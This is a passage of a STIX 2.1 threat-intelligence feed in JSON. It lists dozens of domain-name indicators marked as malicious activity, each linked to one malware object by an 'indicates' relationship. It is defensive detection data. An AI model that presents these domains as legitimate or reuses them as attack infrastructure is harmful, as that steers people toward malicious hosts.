"indicator--0ce9aaf3-9922-4962-9dc5-2a39a76a334f", "created": "2024-01-26T21:28:21.586271Z", "modified": "2024-01-26T21:28:21.586271Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='everycolor-inside.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.586271Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1dfe4e22-01bd-42fe-9544-8274d14454d6", "created": "2024-01-26T21:28:21.586665Z", "modified": "2024-01-26T21:28:21.586665Z", "relationship_type": "indicates", "source_ref": "indicator--0ce9aaf3-9922-4962-9dc5-2a39a76a334f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--865c42d2-25a8-4b7a-8b2c-4b1963d27b8f", "created": "2024-01-26T21:28:21.586761Z", "modified": "2024-01-26T21:28:21.586761Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='regionews.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.586761Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--40a1ff92-756b-45aa-ae83-714f39d29794", "created": "2024-01-26T21:28:21.587147Z", "modified": "2024-01-26T21:28:21.587147Z", "relationship_type": "indicates", "source_ref": "indicator--865c42d2-25a8-4b7a-8b2c-4b1963d27b8f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f4f4cd7c-99ee-4747-9397-f8b8afb44074", "created": "2024-01-26T21:28:21.587243Z", "modified": "2024-01-26T21:28:21.587243Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='knowseminar.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.587243Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3612457b-fda7-4a55-81b0-863284b5f430", "created": "2024-01-26T21:28:21.58763Z", "modified": "2024-01-26T21:28:21.58763Z", "relationship_type": "indicates", "source_ref": "indicator--f4f4cd7c-99ee-4747-9397-f8b8afb44074", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--21b7e287-ff80-4257-8506-8cf81fc248a4", "created": "2024-01-26T21:28:21.587728Z", "modified": "2024-01-26T21:28:21.587728Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='leleader.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.587728Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--61e2234d-c899-43e9-9d1a-016d86b9f897", "created": "2024-01-26T21:28:21.588114Z", "modified": "2024-01-26T21:28:21.588114Z", "relationship_type": "indicates", "source_ref": "indicator--21b7e287-ff80-4257-8506-8cf81fc248a4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--612883b5-5c75-4e32-a800-1736becb123f", "created": "2024-01-26T21:28:21.588209Z", "modified": "2024-01-26T21:28:21.588209Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='kra.center']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.588209Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--00e9ce6e-2a16-48e9-99e6-f05c89378576", "created": "2024-01-26T21:28:21.588583Z", "modified": "2024-01-26T21:28:21.588583Z", "relationship_type": "indicates", "source_ref": "indicator--612883b5-5c75-4e32-a800-1736becb123f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7a02ab79-a12b-4923-81bd-59c87d0d39b9", "created": "2024-01-26T21:28:21.588679Z", "modified": "2024-01-26T21:28:21.588679Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cheapcardonline.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.588679Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6c0f8fdb-875e-4b8b-8e26-b718fe2e7d95", "created": "2024-01-26T21:28:21.589063Z", "modified": "2024-01-26T21:28:21.589063Z", "relationship_type": "indicates", "source_ref": "indicator--7a02ab79-a12b-4923-81bd-59c87d0d39b9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--37e211cb-f8a1-42ca-95cc-68faf69b3682", "created": "2024-01-26T21:28:21.589161Z", "modified": "2024-01-26T21:28:21.589161Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bahrainsms.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.589161Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--47e465da-6507-4b9a-9d55-aa1374af9569", "created": "2024-01-26T21:28:21.589538Z", "modified": "2024-01-26T21:28:21.589538Z", "relationship_type": "indicates", "source_ref": "indicator--37e211cb-f8a1-42ca-95cc-68faf69b3682", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9676629f-2e8a-47ef-9c8a-190562c40900", "created": "2024-01-26T21:28:21.589633Z", "modified": "2024-01-26T21:28:21.589633Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='preferring.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.589633Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--122c9146-d4c0-4e2a-ae99-f1528ecd67a9", "created": "2024-01-26T21:28:21.590101Z", "modified": "2024-01-26T21:28:21.590101Z", "relationship_type": "indicates", "source_ref": "indicator--9676629f-2e8a-47ef-9c8a-190562c40900", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6690488b-8a66-4134-afd2-672739af33b0", "created": "2024-01-26T21:28:21.590198Z", "modified": "2024-01-26T21:28:21.590198Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='viva-droid.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.590198Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--eb4fd65e-45d8-49e4-a861-2e18ebcce699", "created": "2024-01-26T21:28:21.590581Z", "modified": "2024-01-26T21:28:21.590581Z", "relationship_type": "indicates", "source_ref": "indicator--6690488b-8a66-4134-afd2-672739af33b0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--367977c9-8a65-4cd3-a650-8148046d26be", "created": "2024-01-26T21:28:21.590678Z", "modified": "2024-01-26T21:28:21.590678Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tommyfame.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.590678Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f1d4bea0-df0f-4ab0-a15e-1f2bb2d29a73", "created": "2024-01-26T21:28:21.591058Z", "modified": "2024-01-26T21:28:21.591058Z", "relationship_type": "indicates", "source_ref": "indicator--367977c9-8a65-4cd3-a650-8148046d26be", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c4c5f445-3d2f-48bd-adf3-8087f65a62e1", "created": "2024-01-26T21:28:21.591154Z", "modified": "2024-01-26T21:28:21.591154Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dashboardprompt.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.591154Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c8279deb-cde9-461a-becd-5093051fc8c4", "created": "2024-01-26T21:28:21.591545Z", "modified": "2024-01-26T21:28:21.591545Z", "relationship_type": "indicates", "source_ref": "indicator--c4c5f445-3d2f-48bd-adf3-8087f65a62e1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--365a811d-b938-4eb9-a29e-830fa50bd30d", "created": "2024-01-26T21:28:21.591643Z", "modified": "2024-01-26T21:28:21.591643Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='miralo-rapidamente.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.591643Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3dc044c5-9f6b-4f33-aaf2-2eb34bbebe58", "created": "2024-01-26T21:28:21.592037Z", "modified": "2024-01-26T21:28:21.592037Z", "relationship_type": "indicates", "source_ref": "indicator--365a811d-b938-4eb9-a29e-830fa50bd30d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--550b0dcb-fe21-4578-86df-5d61cfc2c982", "created": "2024-01-26T21:28:21.592133Z", "modified": "2024-01-26T21:28:21.592133Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moneyxchanges.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.592133Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--faebed97-9326-49bf-9aca-1f571f379ed4", "created": "2024-01-26T21:28:21.59252Z", "modified": "2024-01-26T21:28:21.59252Z", "relationship_type": "indicates", "source_ref": "indicator--550b0dcb-fe21-4578-86df-5d61cfc2c982", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e126da11-1604-43a8-aa20-9c7ab30b1d26", "created": "2024-01-26T21:28:21.592622Z", "modified": "2024-01-26T21:28:21.592622Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whereisthehat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.592622Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e4c96d45-921e-462a-97aa-d79decd915c0", "created": "2024-01-26T21:28:21.593007Z", "modified": "2024-01-26T21:28:21.593007Z", "relationship_type": "indicates", "source_ref": "indicator--e126da11-1604-43a8-aa20-9c7ab30b1d26", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9a33e25a-5192-402a-b39a-288de98f2005", "created": "2024-01-26T21:28:21.593101Z", "modified": "2024-01-26T21:28:21.593101Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='signpetition.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.593101Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--281cd025-3b2c-4bc5-950a-bfb1f92c4fb1", "created": "2024-01-26T21:28:21.593488Z", "modified": "2024-01-26T21:28:21.593488Z", "relationship_type": "indicates", "source_ref": "indicator--9a33e25a-5192-402a-b39a-288de98f2005", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a8a29259-b0c3-4104-abf7-b231ffc96c6f", "created": "2024-01-26T21:28:21.593583Z", "modified": "2024-01-26T21:28:21.593583Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='horsefingercoffee.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.593583Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7e828d28-fed0-4d5f-bac5-3b85ca7cc830", "created": "2024-01-26T21:28:21.593981Z", "modified": "2024-01-26T21:28:21.593981Z", "relationship_type": "indicates", "source_ref": "indicator--a8a29259-b0c3-4104-abf7-b231ffc96c6f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--443ec163-57da-4bab-ac38-a4b8b383d214", "created": "2024-01-26T21:28:21.594082Z", "modified": "2024-01-26T21:28:21.594082Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='accounts.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.594082Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c24a77f8-e519-463c-843f-0c46cdb4541e", "created": "2024-01-26T21:28:21.594539Z", "modified": "2024-01-26T21:28:21.594539Z", "relationship_type": "indicates", "source_ref": "indicator--443ec163-57da-4bab-ac38-a4b8b383d214", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1bf91ff9-8d1e-4e0f-aaeb-f8c552b3e38e", "created": "2024-01-26T21:28:21.594637Z", "modified": "2024-01-26T21:28:21.594637Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='opposedarrangement.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.594637Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--136bde7f-a562-4d67-8487-c92c9926b313", "created": "2024-01-26T21:28:21.595037Z", "modified": "2024-01-26T21:28:21.595037Z", "relationship_type": "indicates", "source_ref": "indicator--1bf91ff9-8d1e-4e0f-aaeb-f8c552b3e38e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f47c7038-4ee3-43d4-9a1d-acbe400277b9", "created": "2024-01-26T21:28:21.59514Z", "modified": "2024-01-26T21:28:21.59514Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bulktheft.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.59514Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d52e111f-cfab-497b-8ae7-51906e145e22", "created": "2024-01-26T21:28:21.595518Z", "modified": "2024-01-26T21:28:21.595518Z", "relationship_type": "indicates", "source_ref": "indicator--f47c7038-4ee3-43d4-9a1d-acbe400277b9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fdc87b3a-5df3-42de-b0ef-f0c8e04dcfe6", "created": "2024-01-26T21:28:21.595615Z", "modified": "2024-01-26T21:28:21.595615Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whypillyellow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.595615Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--437332b1-dbb9-490b-9ce8-32500a33476b", "created": "2024-01-26T21:28:21.595995Z", "modified": "2024-01-26T21:28:21.595995Z", "relationship_type": "indicates", "source_ref": "indicator--fdc87b3a-5df3-42de-b0ef-f0c8e04dcfe6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--85e32fd8-0934-4004-8433-bee10ba91a76", "created": "2024-01-26T21:28:21.59609Z", "modified": "2024-01-26T21:28:21.59609Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='posta.news']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.59609Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2081f871-e151-4cd0-b6f8-e6c72691f929", "created": "2024-01-26T21:28:21.596465Z", "modified": "2024-01-26T21:28:21.596465Z", "relationship_type": "indicates", "source_ref": "indicator--85e32fd8-0934-4004-8433-bee10ba91a76", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ed44de12-ab87-403a-8f90-103d8f59753c", "created": "2024-01-26T21:28:21.596562Z", "modified": "2024-01-26T21:28:21.596562Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='normal-strength.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.596562Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a441baf2-96f3-46d2-a962-d184cb42e37c", "created": "2024-01-26T21:28:21.596951Z", "modified": "2024-01-26T21:28:21.596951Z", "relationship_type": "indicates", "source_ref": "indicator--ed44de12-ab87-403a-8f90-103d8f59753c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d51adff0-8d7f-49b7-86e8-1efab2ea5af4", "created": "2024-01-26T21:28:21.597046Z", "modified": "2024-01-26T21:28:21.597046Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='emonitoring-paczki.pl']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.597046Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--106b7e9b-0687-4c63-8381-f63402b15149", "created": "2024-01-26T21:28:21.59745Z", "modified": "2024-01-26T21:28:21.59745Z", "relationship_type": "indicates", "source_ref": "indicator--d51adff0-8d7f-49b7-86e8-1efab2ea5af4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--13d7348c-9514-470b-8b29-937097f323c5", "created": "2024-01-26T21:28:21.597544Z", "modified": "2024-01-26T21:28:21.597544Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='orange-updates.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.597544Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f31f8cc9-9e75-4fd0-9741-fdf577835228", "created": "2024-01-26T21:28:21.597965Z", "modified": "2024-01-26T21:28:21.597965Z", "relationship_type": "indicates", "source_ref": "indicator--13d7348c-9514-470b-8b29-937097f323c5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--737b9eca-b568-471f-87a6-3add42f656ce", "created": "2024-01-26T21:28:21.598078Z", "modified": "2024-01-26T21:28:21.598078Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='actorsshop.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.598078Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1a7ffb65-36bf-46f3-925d-2f535a2ad530", "created": "2024-01-26T21:28:21.598494Z", "modified": "2024-01-26T21:28:21.598494Z", "relationship_type": "indicates", "source_ref": "indicator--737b9eca-b568-471f-87a6-3add42f656ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--24912252-45c1-4f9f-86b0-cfcc99fd888e", "created": "2024-01-26T21:28:21.598593Z", "modified": "2024-01-26T21:28:21.598593Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fatpop.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.598593Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9842a75e-ce02-404d-b131-8e0803f82e61", "created": "2024-01-26T21:28:21.599059Z", "modified": "2024-01-26T21:28:21.599059Z", "relationship_type": "indicates", "source_ref": "indicator--24912252-45c1-4f9f-86b0-cfcc99fd888e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--89e798ad-3b00-49d0-bf39-f05ed7a02639", "created": "2024-01-26T21:28:21.599157Z", "modified": "2024-01-26T21:28:21.599157Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sms-zone.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.599157Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1e4b7eea-ed20-4345-b3fb-3f02a6059bf4", "created": "2024-01-26T21:28:21.599544Z", "modified": "2024-01-26T21:28:21.599544Z", "relationship_type": "indicates", "source_ref": "indicator--89e798ad-3b00-49d0-bf39-f05ed7a02639", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--640e1ce8-3d6f-4da8-adbe-9ed63486a07f", "created": "2024-01-26T21:28:21.59964Z", "modified": "2024-01-26T21:28:21.59964Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gulf-news.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.59964Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--39b522da-c9d7-485c-8fb5-b55b166b7f89", "created": "2024-01-26T21:28:21.60002Z", "modified": "2024-01-26T21:28:21.60002Z", "relationship_type": "indicates", "source_ref": "indicator--640e1ce8-3d6f-4da8-adbe-9ed63486a07f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dc7f8bb3-e730-43b5-b68b-223d26aeb21c", "created": "2024-01-26T21:28:21.600118Z", "modified": "2024-01-26T21:28:21.600118Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sparepresence.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.600118Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ae620c16-3b5c-4833-9923-e450820dbe15", "created": "2024-01-26T21:28:21.600501Z", "modified": "2024-01-26T21:28:21.600501Z", "relationship_type": "indicates", "source_ref": "indicator--dc7f8bb3-e730-43b5-b68b-223d26aeb21c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e2004aed-920f-40fc-8ab0-c63c703971b7", "created": "2024-01-26T21:28:21.600599Z", "modified": "2024-01-26T21:28:21.600599Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='accountsecurities.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.600599Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--86889153-3a46-433d-8a78-e6567f13b2bb", "created": "2024-01-26T21:28:21.600986Z", "modified": "2024-01-26T21:28:21.600986Z", "relationship_type": "indicates", "source_ref": "indicator--e2004aed-920f-40fc-8ab0-c63c703971b7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--179cdd19-5930-4d28-b4af-35925286c50e", "created": "2024-01-26T21:28:21.601082Z", "modified": "2024-01-26T21:28:21.601082Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='femmedaffaire.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.601082Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--31d44cb3-fcaa-4857-9273-65813f596c4d", "created": "2024-01-26T21:28:21.601466Z", "modified": "2024-01-26T21:28:21.601466Z", "relationship_type": "indicates", "source_ref": "indicator--179cdd19-5930-4d28-b4af-35925286c50e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--144f158c-4a51-4127-a6ea-84fb0a6c90b6", "created": "2024-01-26T21:28:21.601566Z", "modified": "2024-01-26T21:28:21.601566Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reception-desk.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.601566Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1055b6a4-a741-4bd0-87e9-20eb026539be", "created": "2024-01-26T21:28:21.601947Z", "modified": "2024-01-26T21:28:21.601947Z", "relationship_type": "indicates", "source_ref": "indicator--144f158c-4a51-4127-a6ea-84fb0a6c90b6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f4486729-c12e-4d96-af88-deac3ae5a828", "created": "2024-01-26T21:28:21.602042Z", "modified": "2024-01-26T21:28:21.602042Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='onlycart.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.602042Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f31393be-3f90-4105-870c-44e9764cda43", "created": "2024-01-26T21:28:21.602427Z", "modified": "2024-01-26T21:28:21.602427Z", "relationship_type": "indicates", "source_ref": "indicator--f4486729-c12e-4d96-af88-deac3ae5a828", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e571bea8-8d3c-4742-af5b-bb904078e09d", "created": "2024-01-26T21:28:21.602525Z", "modified": "2024-01-26T21:28:21.602525Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rss-me.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.602525Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aa102748-7bda-4227-9155-6248d26ca447", "created": "2024-01-26T21:28:21.602902Z", "modified": "2024-01-26T21:28:21.602902Z", "relationship_type": "indicates", "source_ref": "indicator--e571bea8-8d3c-4742-af5b-bb904078e09d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--de2cd6db-b260-40bf-8c0b-ae882cf1d27c", "created": "2024-01-26T21:28:21.602998Z", "modified": "2024-01-26T21:28:21.602998Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='teachskate.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.602998Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8edb6f42-8b03-4eeb-8c3c-538502413834", "created": "2024-01-26T21:28:21.603462Z", "modified": "2024-01-26T21:28:21.603462Z", "relationship_type": "indicates", "source_ref": "indicator--de2cd6db-b260-40bf-8c0b-ae882cf1d27c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9f427a09-7b33-4b51-803c-8ae9587850ed", "created": "2024-01-26T21:28:21.603565Z", "modified": "2024-01-26T21:28:21.603565Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='boxes-mix.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.603565Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--73b48db5-bfb6-41d6-aa33-2e21ccc9760b", "created": "2024-01-26T21:28:21.603952Z", "modified": "2024-01-26T21:28:21.603952Z", "relationship_type": "indicates", "source_ref": "indicator--9f427a09-7b33-4b51-803c-8ae9587850ed", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8117ea79-6ae7-44f1-83ea-b27b02b77789", "created": "2024-01-26T21:28:21.604052Z", "modified": "2024-01-26T21:28:21.604052Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='url-loading.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.604052Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--014fc02b-6dfa-4909-b517-04d2476ef16a", "created": "2024-01-26T21:28:21.604445Z", "modified": "2024-01-26T21:28:21.604445Z", "relationship_type": "indicates", "source_ref": "indicator--8117ea79-6ae7-44f1-83ea-b27b02b77789", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cf01c0f9-b881-48cc-816a-a0a3c101007d", "created": "2024-01-26T21:28:21.604545Z", "modified": "2024-01-26T21:28:21.604545Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='volcanodistance.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.604545Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--561ebae1-0528-4a46-b0f7-d54e618c6c6c", "created": "2024-01-26T21:28:21.604947Z", "modified": "2024-01-26T21:28:21.604947Z", "relationship_type": "indicates", "source_ref": "indicator--cf01c0f9-b881-48cc-816a-a0a3c101007d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c6c66855-695d-4301-bd99-4b95753f3afd", "created": "2024-01-26T21:28:21.605049Z", "modified": "2024-01-26T21:28:21.605049Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='top100vidz.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.605049Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bf1abf70-cdd2-4f22-89ee-fb933e4fc8a5", "created": "2024-01-26T21:28:21.605444Z", "modified": "2024-01-26T21:28:21.605444Z", "relationship_type": "indicates", "source_ref": "indicator--c6c66855-695d-4301-bd99-4b95753f3afd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1ed14979-ef5d-4ac2-bd33-7895e54ea41f", "created": "2024-01-26T21:28:21.605546Z", "modified": "2024-01-26T21:28:21.605546Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='viedechretien.org']", 